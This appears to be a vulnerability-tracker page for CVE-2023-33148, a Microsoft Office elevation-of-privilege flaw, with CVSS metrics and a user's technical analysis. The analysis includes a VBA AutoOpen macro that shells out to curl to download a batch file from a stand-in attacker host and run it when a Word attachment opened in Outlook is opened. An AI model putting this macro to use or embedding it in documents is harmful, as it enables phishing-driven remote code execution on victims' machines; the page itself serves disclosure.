Attacker Value
High
(1 user assessed)
Exploitability
High
(1 user assessed)
User Interaction
None
Privileges Required
Low
Attack Vector
Local
1

CVE-2023-33148

Disclosure Date: July 11, 2023
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Privilege Escalation
Techniques
Validation
Validated
Validated
Validated

Description

Microsoft Office Elevation of Privilege Vulnerability

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0
Ratings
Technical Analysis

CVE-2023-33148

Vendor

Description:

The Microsoft Office 365 Version 18.2305.1222.0 app is vulnerable to Elevation of Privilege.
The attacker can use this vulnerability to attach a very malicious WORD file in the Outlook app which is a part of Microsoft Office 365 and easily can trick the victim to click on it – opening it and executing a very dangerous shell command, in the background of the local PC. This execution is without downloading this malicious file, and this is a potential problem and a very dangerous case! This can be the end of the victim’s PC, it depends on the scenario.
WARNING! Office 365 executes files directly from Outlook, without temp downloading, security checking and etc.

Staus: HIGH Vulnerability

[+]Exploit:

  • – – NOTE:
    This exploit is connected to the third-party server, and when the victim clicks on it and opens it the content of the script which is inside will fetch on the machine locally and execute himself by using MS Office 365 and Outlook app which is a part of the 365 API.
Sub AutoOpen()
  Call Shell("cmd.exe /S /c" & "curl -s https://attacker.com/uqev/namaikitiputkata/golemui.bat > salaries.bat && .\salaries.bat", vbNormalFocus)
End Sub

Reproduce:

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Proof and Exploit

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Time spend:

00:35:00

CVSS V3 Severity and Metrics
Base Score:
7.8 High
Impact Score:
5.9
Exploitability Score:
1.8
Vector:
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Local
Attack Complexity (AC):
Low
Privileges Required (PR):
Low
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Vendors

  • microsoft

Products

  • 365 apps -,
  • office 2013,
  • office 2019,
  • office 2021

Additional Info

Technical Analysis